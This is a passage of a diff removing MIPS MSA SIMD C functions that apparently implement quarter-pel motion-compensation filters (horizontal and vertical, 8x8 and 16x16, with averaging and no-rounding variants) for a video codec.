-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                       const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                       const20, const6, const3);
-        LD_UB2(dst, dst_stride, dst0, dst1);
-        AVER_UB2_UB(res0, inp1, res1, inp3, res0, res1);
-        AVER_UB2_UB(dst0, res0, dst1, res1, res0, res1);
-        ST_UB2(res0, res1, dst, dst_stride);
-        dst += (2 * dst_stride);
-        res0 = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                       const20, const6, const3);
-        res1 = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                       const20, const6, const3);
-        LD_UB2(dst, dst_stride, dst0, dst1);
-        AVER_UB2_UB(res0, inp5, res1, inp7, res0, res1);
-        AVER_UB2_UB(dst0, res0, dst1, res1, res0, res1);
-        ST_UB2(res0, res1, dst, dst_stride);
-        dst += (2 * dst_stride);
-    }
-}
-
-
-static void vert_mc_qpel_aver_src0_8x8_msa(const uint8_t *src,
-                                           int32_t src_stride,
-                                           uint8_t *dst,
-                                           int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 tmp0, tmp1, res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                        inp1, inp2, inp3, inp4,
-                                        inp1, inp0, inp0, inp1,
-                                        inp2, inp3, inp4, inp5,
-                                        const20, const6, const3);
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                        inp3, inp4, inp5, inp6,
-                                        inp3, inp2, inp1, inp0,
-                                        inp4, inp5, inp6, inp7,
-                                        const20, const6, const3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    AVER_UB2_UB(res0, tmp0, res1, tmp1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                        inp5, inp6, inp7, inp8,
-                                        inp5, inp4, inp3, inp2,
-                                        inp6, inp7, inp8, inp8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                        inp7, inp8, inp8, inp7,
-                                        inp7, inp6, inp5, inp4,
-                                        inp8, inp8, inp7, inp6,
-                                        const20, const6, const3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp4, 1, (v2i64) inp5);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp6, 1, (v2i64) inp7);
-    AVER_UB2_UB(res0, tmp0, res1, tmp1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst + 4 * dst_stride, dst_stride);
-}
-
-static void vert_mc_qpel_aver_src0_16x16_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB5(src, src_stride, inp0, inp1, inp2, inp3, inp4);
-    src += (5 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp0, inp0, inp1, inp2,
-                                  inp1, inp2, inp3, inp4,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp0);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp1, inp0, inp0, inp1,
-                                  inp2, inp3, inp4, inp5,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp1);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp2, inp1, inp0, inp0,
-                                  inp3, inp4, inp5, inp6,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp2);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp3, inp2, inp1, inp0,
-                                  inp4, inp5, inp6, inp7,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    LD_UB2(src, src_stride, inp8, inp9);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp4, inp3, inp2, inp1,
-                                  inp5, inp6, inp7, inp8,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp4);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp5, inp4, inp3, inp2,
-                                  inp6, inp7, inp8, inp9,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp5);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    LD_UB2(src, src_stride, inp10, inp11);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp6, inp5, inp4, inp3,
-                                  inp7, inp8, inp9, inp10,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp6);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp7, inp6, inp5, inp4,
-                                  inp8, inp9, inp10, inp11,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp7);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    LD_UB2(src, src_stride, inp12, inp13);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp8, inp7, inp6, inp5,
-                                  inp9, inp10, inp11, inp12,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp8);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp9, inp8, inp7, inp6,
-                                  inp10, inp11, inp12, inp13,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp9);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    LD_UB2(src, src_stride, inp14, inp15);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp10, inp9, inp8, inp7,
-                                  inp11, inp12, inp13, inp14,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp10);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp11, inp10, inp9, inp8,
-                                  inp12, inp13, inp14, inp15,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp11);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER(inp12, inp11, inp10, inp9,
-                                  inp13, inp14, inp15, inp16,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp12);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp13, inp12, inp11, inp10,
-                                  inp14, inp15, inp16, inp16,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp13);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp14, inp13, inp12, inp11,
-                                  inp15, inp16, inp16, inp15,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp14);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp15, inp14, inp13, inp12,
-                                  inp16, inp16, inp15, inp14,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp15);
-    ST_UB(res0, dst);
-}
-
-static void vert_mc_qpel_8x8_msa(const uint8_t *src,
-                                 int32_t src_stride,
-                                 uint8_t *dst,
-                                 int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                        inp1, inp2, inp3, inp4,
-                                        inp1, inp0, inp0, inp1,
-                                        inp2, inp3, inp4, inp5,
-                                        const20, const6, const3);
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                        inp3, inp4, inp5, inp6,
-                                        inp3, inp2, inp1, inp0,
-                                        inp4, inp5, inp6, inp7,
-                                        const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                        inp5, inp6, inp7, inp8,
-                                        inp5, inp4, inp3, inp2,
-                                        inp6, inp7, inp8, inp8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                        inp7, inp8, inp8, inp7,
-                                        inp7, inp6, inp5, inp4,
-                                        inp8, inp8, inp7, inp6,
-                                        const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst + 4 * dst_stride, dst_stride);
-}
-
-static void vert_mc_qpel_16x16_msa(const uint8_t *src,
-                                   int32_t src_stride,
-                                   uint8_t *dst,
-                                   int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    inp4 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp0, inp0, inp1, inp2,
-                                  inp1, inp2, inp3, inp4,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp1, inp0, inp0, inp1,
-                                  inp2, inp3, inp4, inp5,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp2, inp1, inp0, inp0,
-                                  inp3, inp4, inp5, inp6,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp3, inp2, inp1, inp0,
-                                  inp4, inp5, inp6, inp7,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp8 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp4, inp3, inp2, inp1,
-                                  inp5, inp6, inp7, inp8,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp9 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp5, inp4, inp3, inp2,
-                                  inp6, inp7, inp8, inp9,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp10 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp6, inp5, inp4, inp3,
-                                  inp7, inp8, inp9, inp10,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp11 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp7, inp6, inp5, inp4,
-                                  inp8, inp9, inp10, inp11,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp12 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp8, inp7, inp6, inp5,
-                                  inp9, inp10, inp11, inp12,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp13 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp9, inp8, inp7, inp6,
-                                  inp10, inp11, inp12, inp13,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp14 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp10, inp9, inp8, inp7,
-                                  inp11, inp12, inp13, inp14,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp15 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp11, inp10, inp9, inp8,
-                                  inp12, inp13, inp14, inp15,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER(inp12, inp11, inp10, inp9,
-                                  inp13, inp14, inp15, inp16,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp13, inp12, inp11, inp10,
-                                  inp14, inp15, inp16, inp16,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp14, inp13, inp12, inp11,
-                                  inp15, inp16, inp16, inp15,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp15, inp14, inp13, inp12,
-                                  inp16, inp16, inp15, inp14,
-                                  const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-}
-
-static void vert_mc_qpel_aver_src1_8x8_msa(const uint8_t *src,
-                                           int32_t src_stride,
-                                           uint8_t *dst,
-                                           int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 tmp0, tmp1, res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                        inp1, inp2, inp3, inp4,
-                                        inp1, inp0, inp0, inp1,
-                                        inp2, inp3, inp4, inp5,
-                                        const20, const6, const3);
-
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                        inp3, inp4, inp5, inp6,
-                                        inp3, inp2, inp1, inp0,
-                                        inp4, inp5, inp6, inp7,
-                                        const20, const6, const3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp1, 1, (v2i64) inp2);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp3, 1, (v2i64) inp4);
-    AVER_UB2_UB(res0, tmp0, res1, tmp1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                        inp5, inp6, inp7, inp8,
-                                        inp5, inp4, inp3, inp2,
-                                        inp6, inp7, inp8, inp8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                        inp7, inp8, inp8, inp7,
-                                        inp7, inp6, inp5, inp4,
-                                        inp8, inp8, inp7, inp6,
-                                        const20, const6, const3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp5, 1, (v2i64) inp6);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp7, 1, (v2i64) inp8);
-    AVER_UB2_UB(res0, tmp0, res1, tmp1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst + 4 * dst_stride, dst_stride);
-}
-
-static void vert_mc_qpel_aver_src1_16x16_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    inp4 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp0, inp0, inp1, inp2,
-                                  inp1, inp2, inp3, inp4,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp1);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp1, inp0, inp0, inp1,
-                                  inp2, inp3, inp4, inp5,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp2);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp2, inp1, inp0, inp0,
-                                  inp3, inp4, inp5, inp6,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp3, inp2, inp1, inp0,
-                                  inp4, inp5, inp6, inp7,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp4);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp8 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp4, inp3, inp2, inp1,
-                                  inp5, inp6, inp7, inp8,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp5);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp9 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp5, inp4, inp3, inp2,
-                                  inp6, inp7, inp8, inp9,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp6);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp10 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp6, inp5, inp4, inp3,
-                                  inp7, inp8, inp9, inp10,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp7);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp11 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp7, inp6, inp5, inp4,
-                                  inp8, inp9, inp10, inp11,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp8);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp12 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp8, inp7, inp6, inp5,
-                                  inp9, inp10, inp11, inp12,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp9);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp13 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp9, inp8, inp7, inp6,
-                                  inp10, inp11, inp12, inp13,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp10);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp14 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp10, inp9, inp8, inp7,
-                                  inp11, inp12, inp13, inp14,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp11);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp15 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp11, inp10, inp9, inp8,
-                                  inp12, inp13, inp14, inp15,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp12);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER(inp12, inp11, inp10, inp9,
-                                  inp13, inp14, inp15, inp16,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp13);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp13, inp12, inp11, inp10,
-                                  inp14, inp15, inp16, inp16,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp14);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp14, inp13, inp12, inp11,
-                                  inp15, inp16, inp16, inp15,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp15);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp15, inp14, inp13, inp12,
-                                  inp16, inp16, inp15, inp14,
-                                  const20, const6, const3);
-    res0 = __msa_aver_u_b(res0, inp16);
-    ST_UB(res0, dst);
-}
-
-static void vert_mc_qpel_no_rnd_aver_src0_8x8_msa(const uint8_t *src,
-                                                  int32_t src_stride,
-                                                  uint8_t *dst,
-                                                  int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 tmp0, tmp1, res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                                 inp1, inp2, inp3, inp4,
-                                                 inp1, inp0, inp0, inp1,
-                                                 inp2, inp3, inp4, inp5,
-                                                 const20, const6, const3);
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                                 inp3, inp4, inp5, inp6,
-                                                 inp3, inp2, inp1, inp0,
-                                                 inp4, inp5, inp6, inp7,
-                                                 const20, const6, const3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    res0 = __msa_ave_u_b(res0, tmp0);
-    res1 = __msa_ave_u_b(res1, tmp1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                                 inp5, inp6, inp7, inp8,
-                                                 inp5, inp4, inp3, inp2,
-                                                 inp6, inp7, inp8, inp8,
-                                                 const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                                 inp7, inp8, inp8, inp7,
-                                                 inp7, inp6, inp5, inp4,
-                                                 inp8, inp8, inp7, inp6,
-                                                 const20, const6, const3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp4, 1, (v2i64) inp5);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp6, 1, (v2i64) inp7);
-    res0 = __msa_ave_u_b(res0, tmp0);
-    res1 = __msa_ave_u_b(res1, tmp1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst + 4 * dst_stride, dst_stride);
-}
-
-static void vert_mc_qpel_no_rnd_aver_src0_16x16_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB5(src, src_stride, inp0, inp1, inp2, inp3, inp4);
-    src += (5 * src_stride);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp0, inp0, inp1, inp2,
-                                           inp1, inp2, inp3, inp4,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp0);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp1, inp0, inp0, inp1,
-                                           inp2, inp3, inp4, inp5,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp1);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp2, inp1, inp0, inp0,
-                                           inp3, inp4, inp5, inp6,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp2);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp3, inp2, inp1, inp0,
-                                           inp4, inp5, inp6, inp7,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp8 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp4, inp3, inp2, inp1,
-                                           inp5, inp6, inp7, inp8,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp4);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp9 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp5, inp4, inp3, inp2,
-                                           inp6, inp7, inp8, inp9,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp5);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp10 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp6, inp5, inp4, inp3,
-                                           inp7, inp8, inp9, inp10,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp6);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp11 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp7, inp6, inp5, inp4,
-                                           inp8, inp9, inp10, inp11,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp7);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp12 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp8, inp7, inp6, inp5,
-                                           inp9, inp10, inp11, inp12,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp8);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp13 = LD_UB(src);
-    src += src_stride;
